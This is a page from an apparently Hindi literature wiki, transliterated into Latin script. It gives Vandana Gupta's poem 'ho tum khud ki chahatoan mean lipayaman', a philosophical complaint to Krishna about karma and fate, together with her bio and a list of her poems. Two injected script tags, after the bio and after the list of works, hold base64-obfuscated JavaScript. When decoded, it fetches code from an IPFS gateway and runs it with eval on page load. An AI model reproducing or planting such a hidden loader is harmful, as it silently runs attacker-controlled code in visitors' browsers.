हो तुम ख़ुद की चाहतों में लिपायमान -वंदना गुप्ता

ho tum khud ki chahatoan mean lipayaman -vandana gupta vandana gupta|200px|center kavi vandana gupta mukhy rachanaean 'badalati soch ke ne arth', 'tootate sitaroan ki u dan', 'sarasvati suman', 'hriday taroan ka spandan', 'krishna se sanvad' adi. vidhaean kavitayean, alekh, samiksha aur kahaniyaan any janakari vandana ji ke sabhi pratishthit patr-patrikaoan, jaise- kadambini, biandiya, pakhi, hiandi chetana, shabdaankan, garbhanal, udanti, attahas, adhunik sahity, navya, simpali jayapur adi ke alava vibhinn ee-patrikaoan mean rachanaean, kahaniyaan, alekh adi prakashit ho chuke haian. inhean bhi dekhean kavi soochi, sahityakar soochi <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vandana gupta ki rachanaean ek mauqa mrityu ke bad -vandana gupta prem ya vikalp -vandana gupta ho tum khud ki chahatoan mean lipayaman -vandana gupta suno ram tum sirf avatar the -vandana gupta gopibhav -vandana gupta hai n yahi sthiti -vandana gupta ab kaise bite ye umr sari -vandana gupta kya hai koee javab tumhare pas -vandana gupta tumhare lie kuchh bhi asanbhav nahian -vandana gupta eeshvar 'hi' hai ya 'shi' -vandana gupta kya chahate haian? -vandana gupta chalo mahafil saja looan -vandana gupta mohan ! kal jo tum muskurate mile -vandana gupta banjar ashrubindu -ek avastha -vandana gupta pashopesh mean hooan -vandana gupta prem se ya phatakar se? -vandana gupta hai aur nahian ke madhy -vandana gupta ek saty -vandana gupta dhoo dhoo kar jal rahi hai chita meri -vandana gupta maian teri ho jaooan -vandana gupta nainan p d ge phike -vandana gupta hai n acharaj -vandana gupta ashk kaise bahaooan? -vandana gupta madhu ho tum -vandana gupta ekatarafa prem ke svami -vandana gupta akhir apanoan se kaisi pardadari? -vandana gupta saanvare toone ye kya kiya, ye kya kiya -vandana gupta oh pyare! yooan man ko mohana koee tumase sikhe -vandana gupta yogakshem vahamyam tumane hi to kaha na -vandana gupta <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahut ulatapher kiye tumane aur hamane sab sah lie uh ah uf karate karate zindagi ke sitam sah lie magar ab shak ke ghere mean ho tum !   haan tum .........jis par ati vishvas kiya usane hi vishvas ka dohan kiya to kaho bhala kaise mukt karooan tumhean ilzamat se   suno tum kahate ho srishti ka adhar karm hai karm ke anusar phal hai maian to kartum akartum anyatha kartum hooan yani maian kuchh nahian karata nirlep rahata hooan lekin nahian lagata aisa janate ho kyoan ?   kyoanki jab koee chal raha ho sahi rah par achanak to pathabhrasht nahian ho sakata n hamean to lagata hai kahian n kahian tum hi dal dete ho khane mean ki da nahian dekh pate chalate hue chakki ko sidha aur dal dete ho rah mean ro de to bata sakate ho kya yahaan kaun se karmoan ka lekha jokha a gaya ?   manav ek sidhi sachchi rah chalana chahata hai magar tum usaki rah mean achanak jane kitane toofan kh de kar dete ho vo unhean bhi apane hausaloan ke bal par kar jata hai jab tab bhi n tumhean chain ata hai jo chal raha hota hai tumhari bataee rah par aur suno tumase bhi kuchh nahian chahata chahat hoti hai to sirph itani tujhase milan hota rahe aur jab astha pahuanchati hai apane charam par tab ek bar phir tum lakshy sandhan ko uddyat ho uthate ho utpann kar dete ho bhram ki si sthiti jahaan vo samajh nahian pata kaun si rah sahi rahi aur kaun si galat ? astha aur vishvas naiya ho uthati hai daanvadol aur ye sab yooan hi nahian hota sidhi rah chalane vala kyoan chahega galat rah pak dana ... sochana jara   haan, karan ho tum tum phaila dete ho mayajal pariksha ke nam ka aur kiankartavyavimoodh manav phansata jata hai jahaan le chalate ho chalata jata hai kyoanki sammohan ki sthitioan mean vivek dharashayi ho jata hai aise mean batana jara kahaan karm ki mahatta rahi ?   tum jo chaho karate ho sach to yahi hai nahian dekh sakate tum sidha sada sapat jivan jite kisi ko ya phir sadhanarat hote kisi ko kar hi dete ho ooangal aur badal dete ho tasvir   banane ko duniya ko moodh rach rakha hai tumane karmoan ka lekha jokha rachane ka kary sach to yahi hai tum jo chahate ho karate ho kyoanki khel tumhara hai aur mohare bhi jab chahe jis bhi khane mean jis bhi mohare ko phit kar dete ho aur jit ke paanse sada apane hath mean rakhate ho   mujhe to nahian dikhate tum kahian se bhi nirlep ho tum khud ki chahato mean lipayaman jinase tum khud mukt nahian ho ..........keshav vaise bhi kise pata tumhare saty ka suna hai shrutiyaan bhi neti neti kah shish ko jhukati haian aise mean kaise sanbhav hai am manav ka tumhean rekhaankit karana tumhare sach aur jhooth ka pardaphash karana kyoanki us taraph sirph tum hi tum ho ........ekal khila di aur akela kisi bhi res mean ho .......jitega hi   mat madho ham par karm aur bhagy ki kuanthaean ye to haian bas tumhare hriday ki vidanbanayean jinase kuanthit ho tum thop dete ho parinam aur paravash ho bhugatane ko hote haian ham majaboor   kash ! ek bar paravashata ka jivan tumane jiya hota to jan pate hamare dard ko mohan vivashataoan ki dyodhi par matha rag dana kya hota hai shayad jan pate   ek sach ye bhi hai nahian ho sakate tum kabhi poornatah mukt in iljamoan se phir chahe dete raho kitani hi duhaee apani nirlepata ki .........mohan

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